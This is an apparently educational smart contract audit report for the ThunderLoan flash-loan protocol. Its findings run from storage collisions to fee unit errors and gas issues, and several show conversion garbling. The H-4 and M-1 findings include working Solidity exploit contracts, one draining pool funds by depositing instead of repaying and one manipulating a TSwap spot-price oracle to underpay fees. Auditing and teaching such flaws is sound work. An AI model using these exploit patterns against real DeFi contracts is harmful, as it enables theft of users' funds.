

# **Protocol Audit Report**

Version 1.0

Protocol Audit Report September 25, 2025

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# Cyfrin.io

September 25, 2025

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# **Protocol Summary**

The ThunderLoan protocol is meant to do the following:

- 1. Give users a way to create flash loans
- 2. Give liquidity providers a way to earn money off their capital

Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. These AssetTokens gain interest over time depending on how often people take out flash loans!

# **Disclaimer**

The YoYiL team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## **Risk Classification**

		Impact		
		High	Medium	Low
Likelihood	High	Н	H/M	М
	Medium	H/M	М	M/L
	Low	М	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

# **Audit Details**

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

## Scope

• In Scope:

```
1 #-- interfaces
      #-- IFlashLoanReceiver.sol
3
      #-- IPoolFactory.sol
4
     #-- ITSwapPool.sol
5
       #-- IThunderLoan.sol
6 #-- protocol
7
       #-- AssetToken.sol
       #-- OracleUpgradeable.sol
8
       #-- ThunderLoan.sol
10 #-- upgradedProtocol
11
       #-- ThunderLoanUpgraded.sol
```

#### **Roles**

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

# **Executive Summary**

#### **Issues found**

Severity	Number of issues found
High	4
Medium	2
Low	3
Info	1
Gas	3
Total	13

# **Findings**

# High

[H-1] Mixing up variable location causes storage collisions in ThunderLoan::s\_flashLoanFee and ThunderLoan::s\_currentlyFlashLoaning

**Description:** Thunder Loan. sol defines two variables in the following order:

```
uint256 private s_feePrecision;
uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the intended upgraded contract ThunderLoanUpgraded.sol places them differently:

```
uint256 private s_flashLoanFee; // 0.3% ETH fee
uint256 public constant FEE_PRECISION = 1e18;
```

Due to Solidity's storage layout rules, after the upgrade s\_flashLoanFee will take on the value previously stored in s\_feePrecision. In upgradeable contracts, you must not reorder storage variables.

**Impact:** Post-upgrade, s\_flashLoanFee will equal s\_feePrecision, causing borrowers to be charged an incorrect flash loan fee immediately after the upgrade. Additionally, the s\_currentlyFlashLoaning mapping will begin at the wrong storage slot, leading to further state corruption.

#### **Proof of Code:**

Code

Add the following to ThunderLoanTest.t.sol:

```
1 // You'll need to import `ThunderLoanUpgraded` as well
2 import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
      ThunderLoanUpgraded.sol";
3
4 function testUpgradeBreaks() public {
           uint256 feeBeforeUpgrade = thunderLoan.getFee();
6
           vm.startPrank(thunderLoan.owner());
           ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
8
           thunderLoan.upgradeTo(address(upgraded));
9
           uint256 feeAfterUpgrade = thunderLoan.getFee();
11
           assert(feeBeforeUpgrade != feeAfterUpgrade);
12
       }
```

You can also observe the storage layout differences by running forge inspect ThunderLoan storage and forge inspect ThunderLoanUpgraded storage.

**Recommended Mitigation:** Do not reorder storage variables during an upgrade, and leave a place-holder slot if replacing a storage variable with a constant. In ThunderLoanUpgraded.sol:

```
1 - uint256 private s_flashLoanFee; // 0.3% ETH fee
2 - uint256 public constant FEE_PRECISION = 1e18;
3 + uint256 private s_blank;
4 + uint256 private s_flashLoanFee;
5 + uint256 public constant FEE_PRECISION = 1e18;
```

[H-2] Erroneous ThunderLoan::updateExchange in the deposit function causes the protocol to overestimate fees, blocking redemptions and mispricing the exchange rate

**Description:** In the ThunderLoan system, exchangeRate determines the conversion between asset tokens and underlying tokens and implicitly tracks fee accruals for liquidity providers.

However, the deposit function updates this rate without actually collecting any fees.

```
1 function deposit(IERC20 token, uint256 amount) external revertIfZero(
      amount) revertIfNotAllowedToken(token) {
       AssetToken assetToken = s_tokenToAssetToken[token];
       uint256 exchangeRate = assetToken.getExchangeRate();
3
4
       uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
          ) / exchangeRate;
5
       emit Deposit(msg.sender, token, amount);
       assetToken.mint(msg.sender, mintAmount);
6
7
8
      // @Audit-High
9 @> // uint256 calculatedFee = getCalculatedFee(token, amount);
10 @> // assetToken.updateExchangeRate(calculatedFee);
11
       token.safeTransferFrom(msg.sender, address(assetToken), amount);
12
13 }
```

#### Impact:

- The redeem function becomes blocked because the protocol believes the redeemable amount exceeds its actual balance.
- Rewards are miscalculated, potentially giving liquidity providers significantly more or less than they deserve.

#### **Proof of Concept:** - LP deposits

- A user takes a flash loan
- LP redemption becomes impossible

#### **Proof of Code**

Place the following into ThunderLoanTest.t.sol:

Code

Add the following to ThunderLoanTest.t.sol:

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
       uint256 amountToBorrow = AMOUNT * 10;
2
3
       uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
           amountToBorrow);
4
       tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
5
6
       vm.startPrank(user);
       thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
7
           amountToBorrow, "");
8
       vm.stopPrank();
9
10
       uint256 amountToRedeem = type(uint256).max;
       vm.startPrank(liquidityProvider);
12
       thunderLoan.redeem(tokenA, amountToRedeem);
```

```
13 }
```

**Recommended Mitigation:** Remove the incorrect updateExchangeRate calls from deposit.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
      amount) revertIfNotAllowedToken(token) {
2
       AssetToken assetToken = s_tokenToAssetToken[token];
3
       uint256 exchangeRate = assetToken.getExchangeRate();
       uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
          ) / exchangeRate;
5
       emit Deposit(msg.sender, token, amount);
       assetToken.mint(msg.sender, mintAmount);
6
7
       uint256 calculatedFee = getCalculatedFee(token, amount);
8 -
9 -
       assetToken.updateExchangeRate(calculatedFee);
10
       token.safeTransferFrom(msg.sender, address(assetToken), amount);
11
12 }
```

# [H-3] Fee unit mismatch leads to incorrect repayment checks and potential DoS/undercharging

#### Description

The protocol computes flash loan fees in WETH units, but enforces repayment using balances of the borrowed token, mixing incompatible units.

- getPriceInWeth(token) returns ITSwapPool(pool).getPriceOfOnePoolTokenInWeth (), which by naming and common convention is "WETH per token" with 1e18 precision.
- The fee calculation therefore produces a WETH-denominated amount:

```
    valueOfBorrowedToken = (amount[token] * price[WETH/token])/ 1 e18 → WETH
    fee = (valueOfBorrowedToken[WETH] * s_flashLoanFee[1e18=100%]) / 1e18 → WETH
```

- Repayment enforcement compares token balances against startingBalance + fee, implicitly treating fee as token units:
  - startingBalance and endingBalance are measured in the borrowed token via token.balanceOf(address(assetToken)).
  - if (endingBalance < startingBalance + fee)... mixes token units with WETH units.
- This is only consistent when the borrowed asset is WETH; for other tokens, the inequality is dimensionally incorrect.

# **Impact**

- Non-WETH loans:
  - Overly strict check causing revert/DoS: borrowers cannot satisfy endingBalance >= startingBalance + fee because fee is not denominated in the borrowed token.
  - Or undercharging: numeric coincidences (due to price scale/rounding) can allow repayments that do not cover the intended fee, harming LPs.
- WETH loans: appear to work, masking the issue in limited testing.
- Net effect: denial-of-service for non-WETH flashloans or incorrect fee collection, leading to protocol revenue loss and broken accounting.

#### **Proof of Concepts**

Conceptual example:

```
1. token = USDC (6 decimals)
```

- 2. price = 0.0003 WETH per USDC (scaled by 1e18)
- 3. borrow amount = 1\_000\_000 USDC
- 4. valueOfBorrowedToken ~= 300 WETH
- 5. fee  $(0.3\%) \sim = 0.9$  WETH
- 6. Repayment check requires:
  - endingBalance[USDC] >=startingBalance[USDC] + 0.9
  - Here 0.9 is a WETH amount, not a USDC amount. The comparison is semantically invalid and will either revert (DoS) or pass incorrectly depending on numeric artifacts.

#### Minimal test outline:

```
function test_Flashloan_NonWeth_FeeUnitMismatch() public {
    // Arrange: allow USDC, seed pool, set price and fee rate
    // Act: take flashloan in USDC, repay principal and try to satisfy
        WETH-denominated fee as token units
    // Assert: observe revert (DoS) or inconsistent pass depending on
        numeric ranges
}

function test_Flashloan_Weth_OK() public {
    // Borrow WETH; units align; assert pass
}
```

#### **Recommended mitigation**

Choose one consistent design:

Option A — Charge fee in the borrowed token (simplest; keeps current balance-based check)

- Convert the WETH-denominated fee back to token units using the same price.
- Let price = WETH per token (1e18).

Option B — Collect fee in WETH (split accounting)

• Keep fee in WETH and require the borrower to repay fee in WETH to the protocol/treasury.

#### Additionally:

- Document units and precision explicitly:
  - getPriceInWeth: WETH per token, 1e18 precision.
  - s\_flashLoanFee: 1e18 = 100%.
- Add tests covering non-WETH assets, extreme prices, and rounding boundaries to ensure repayment and fee paths are unit-consistent.

# [H-4] By calling a flash loan and then ThunderLoan::deposit instead of ThunderLoan::repay, users can steal all funds from the protocol

**Description:** By invoking deposit to "repay" a flash loan, an attacker can satisfy the repayment check while later redeeming the deposited tokens, effectively stealing the borrowed funds.

**Impact:** This exploit drains the liquidity pool for the flash-loaned token, corrupts internal accounting, and results in a total loss of funds.

**Proof of Concept:** - The attacker initiates a flash loan. - The borrowed funds are deposited into ThunderLoan via a malicious contract's executeOperation function. - The flash loan repayment check passes because it compares the AssetToken balance before the loan with the post-deposit balance. - After the flash loan completes, the attacker calls redeem on ThunderLoan to withdraw the "deposited" tokens, capturing the borrowed funds.

Add the following to ThunderLoanTest.t.sol and run: forge test –mt testUseDepositInsteadOfRepay-ToStealFunds

#### **Proof of Code:**

Code

Add the following to ThunderLoanTest.t.sol:

```
function testUseDepositInsteadOfRepayToStealFunds() public
    setAllowedToken hasDeposits {
    uint256 amountToBorrow = 50e18;
    DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
    uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
```

```
vm.startPrank(user);
6
       tokenA.mint(address(dor), fee);
       thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
7
8
       dor.redeemMoney();
9
       vm.stopPrank();
10
11
       assert(tokenA.balanceOf(address(dor)) > fee);
12 }
13
14 contract DepositOverRepay is IFlashLoanReceiver {
15
       ThunderLoan thunderLoan;
16
       AssetToken assetToken:
17
       IERC20 s_token;
18
19
       constructor(address _thunderLoan) {
20
           thunderLoan = ThunderLoan(_thunderLoan);
21
       }
22
23
       function executeOperation(
24
           address token,
25
           uint256 amount,
           uint256 fee,
27
           address, /*initiator*/
28
           bytes calldata /*params*/
29
       )
           external
31
           returns (bool)
32
           s_token = IERC20(token);
34
           assetToken = thunderLoan.getAssetFromToken(IERC20(token));
           s token.approve(address(thunderLoan), amount + fee);
           thunderLoan.deposit(IERC20(token), amount + fee);
37
           return true;
       }
40
       function redeemMoney() public {
41
           uint256 amount = assetToken.balanceOf(address(this));
42
           thunderLoan.redeem(s_token, amount);
43
       }
44 }
```

## **Recommended Mitigation:** Disallow deposits for a token while it is in an active flash loan.

```
) / exchangeRate;
8    emit Deposit(msg.sender, token, amount);
9    assetToken.mint(msg.sender, mintAmount);
10
11    uint256 calculatedFee = getCalculatedFee(token, amount);
12    assetToken.updateExchangeRate(calculatedFee);
13
14    token.safeTransferFrom(msg.sender, address(assetToken), amount);
15 }
```

#### Medium

#### [M-1] Using TSwap as a price oracle enables price/oracle manipulation attacks

**Description:** TSwap is a constant-product AMM where prices are derived from pool reserves. An attacker can manipulate the price within a single transaction by trading large amounts, effectively bypassing fees and making on-chain spot prices unreliable for oracle use.

**Impact:** Liquidity providers earn substantially less in fees, and flash loan borrowers can underpay by exploiting manipulated prices.

**Proof of Concept:** All steps occur within one transaction. 1) The user takes a ThunderLoan flash loan of 1000 tokenA and pays the initial fee fee1. During the loan: - They sell 1000 tokenA to depress the price. - Before repaying, they take a second flash loan for another 1000 tokenA. - Because ThunderLoan prices via the TSwap pool, the second loan is significantly cheaper due to the manipulated spot price.

```
function getPriceInWeth(address token) public view returns (uint256) {
   address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token
);
```

@> return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth(); }

2) The user then repays the first flash loan followed by the second.

Add the following to ThunderLoanTest.t.sol.

#### **Proof of Code:**

Code

Add the following to ThunderLoanTest.t.sol:

```
function testOracleManipulation() public {
    // 1. Setup contracts
    thunderLoan = new ThunderLoan();
    tokenA = new ERC20Mock();
    proxy = new ERC1967Proxy(address(thunderLoan), "");
```

```
BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
 7
       // Create a TSwap Dex between WETH/TokenA and initialize
           ThunderLoan
8
       address tswapPool = pf.createPool(address(tokenA));
9
       thunderLoan = ThunderLoan(address(proxy));
10
       thunderLoan.initialize(address(pf));
11
       // 2. Fund TSwap
12
13
       vm.startPrank(liquidityProvider);
       tokenA.mint(liquidityProvider, 100e18);
14
15
       tokenA.approve(address(tswapPool), 100e18);
       weth.mint(liquidityProvider, 100e18);
16
       weth.approve(address(tswapPool), 100e18);
17
       BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
18
19
       vm.stopPrank();
       // 3. Fund ThunderLoan
21
22
       vm.prank(thunderLoan.owner());
23
       thunderLoan.setAllowedToken(tokenA, true);
24
       vm.startPrank(liquidityProvider);
25
       tokenA.mint(liquidityProvider, 100e18);
26
       tokenA.approve(address(thunderLoan), 100e18);
27
       thunderLoan.deposit(tokenA, 100e18);
28
       vm.stopPrank();
       uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18
31
       console2.log("Normal Fee is:", normalFeeCost);
32
       // 4. Execute 2 flash loans
       uint256 amountToBorrow = 50e18;
34
       MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(
           address(tswapPool), address(thunderLoan), address(thunderLoan.
               getAssetFromToken(tokenA))
       );
37
       vm.startPrank(user);
40
       tokenA.mint(address(flr), 100e18);
       thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, ""); //
41
            flr.executeOperation will trigger a second flashloan
42
       vm.stopPrank();
43
44
       uint256 attackFee = flr.feeOne() + flr.feeTwo();
45
       console2.log("Attack Fee is:", attackFee);
       assert(attackFee < normalFeeCost);</pre>
46
47 }
48
   contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
49
       ThunderLoan thunderLoan;
51
       address repayAddress;
```

```
52
                    BuffMockTSwap tswapPool;
53
                    bool attacked;
                    uint256 public feeOne;
54
55
                    uint256 public feeTwo;
56
57
                    // 1. Swap TokenA borrowed for WETH
                     // 2. Take out a second flash loan to compare fees
                    constructor(address _tswapPool, address _thunderLoan, address
                              _repayAddress) {
                                tswapPool = BuffMockTSwap(_tswapPool);
                                thunderLoan = ThunderLoan(_thunderLoan);
                                repayAddress = _repayAddress;
                    }
63
64
                     function executeOperation(
66
                                address token,
                                uint256 amount,
67
                                uint256 fee,
                                address, /* initiator */
                                bytes calldata /* params */
71
                    )
72
                                external
73
                                returns (bool)
74
                     {
75
                                if (!attacked) {
                                           feeOne = fee;
                                           attacked = true;
77
                                           uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
78
                                                     (50e18, 100e18, 100e18);
79
                                           IERC20(token).approve(address(tswapPool), 50e18);
80
                                           // Tank the price:
                                           tswap Pool.swap Pool Token For Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 for Weth Based On Input Pool Token (50 e18, 100 f
81
                                                    wethBought, block.timestamp);
                                            // Second flash loan
82
                                           thunderLoan.flashloan(address(this), IERC20(token), amount,
83
                                                       "");
                                           // Repay via transfer
                                           IERC20(token).transfer(address(repayAddress), amount + fee)
                                } else {
                                           // Record fee and repay
87
                                           feeTwo = fee;
                                           IERC20(token).transfer(address(repayAddress), amount + fee)
89
90
                                }
91
                                return true;
                    }
93 }
```

**Recommended Mitigation:** Use a resilient oracle design, e.g., Chainlink price feeds with a Uniswap TWAP fallback. Additionally, consider: - Minimum observation windows and heartbeat checks - Liquid-

ity thresholds and deviation bounds - Cooldown periods or two-step pricing updates - Circuit breakers when prices move beyond configured limits

#### [M-2] Centralization risk for trusted owners

**Impact:** Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Instances (2):

```
1 File: src/protocol/ThunderLoan.sol
2
3 223: function setAllowedToken(IERC20 token, bool allowed) external onlyOwner returns (AssetToken) {
4
5 261: function _authorizeUpgrade(address newImplementation) internal override onlyOwner { }
```

#### Low

# [L-1] Empty Function Body - Consider commenting why

Instances (1):

# [L-2] Initializers could be front-run

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

*Instances (6):* 

```
1 File: src/protocol/OracleUpgradeable.sol
2
3 11: function __Oracle_init(address poolFactoryAddress) internal onlyInitializing {
```

```
1 File: src/protocol/ThunderLoan.sol
2
```

## [L-3] Missing critial event emissions

**Description:** When the ThunderLoan::s\_flashLoanFee is updated, there is no event emitted.

**Recommended Mitigation:** Emit an event when the ThunderLoan::s\_flashLoanFee is updated.

```
event FlashLoanFeeUpdated(uint256 newFee);
2
3 .
4 .
     function updateFlashLoanFee(uint256 newFee) external onlyOwner {
          if (newFee > s_feePrecision) {
6
              revert ThunderLoan__BadNewFee();
7
8
9
          s_flashLoanFee = newFee;
10 +
          emit FlashLoanFeeUpdated(newFee);
11
       }
```

#### Informational

#### [I-1] Poor Test Coverage

```
6 | src/protocol/ThunderLoan.sol | 64.52% (40/62) | 68.35% (54/79) | 37.50% (6/16) | 71.43% (10/14) |
```

**Recommended Mitigation:** Aim to get test coverage up to over 90% for all files.

#### Gas

## [G-1] Using bools for storage incurs overhead

Use uint256(1) and uint256(2) for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past. See source.

Instances (1):

```
1 File: src/protocol/ThunderLoan.sol
2
3 98: mapping(IERC20 token => bool currentlyFlashLoaning) private
    s_currentlyFlashLoaning;
```

#### [G-2] Using private rather than public for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

*Instances (3):* 

```
1 File: src/protocol/AssetToken.sol
2
3 25: uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
1 File: src/protocol/ThunderLoan.sol
2
3 95:     uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee
4
5 96:     uint256 public constant FEE_PRECISION = 1e18;
```

#### [G-3] Unnecessary SLOAD when logging new exchange rate

In AssetToken::updateExchangeRate, after writing the newExchangeRate to storage, the function reads the value from storage again to log it in the ExchangeRateUpdated event.

To avoid the unnecessary SLOAD, you can log the value of newExchangeRate.

```
s_exchangeRate = newExchangeRate;
emit ExchangeRateUpdated(s_exchangeRate);
emit ExchangeRateUpdated(newExchangeRate);
```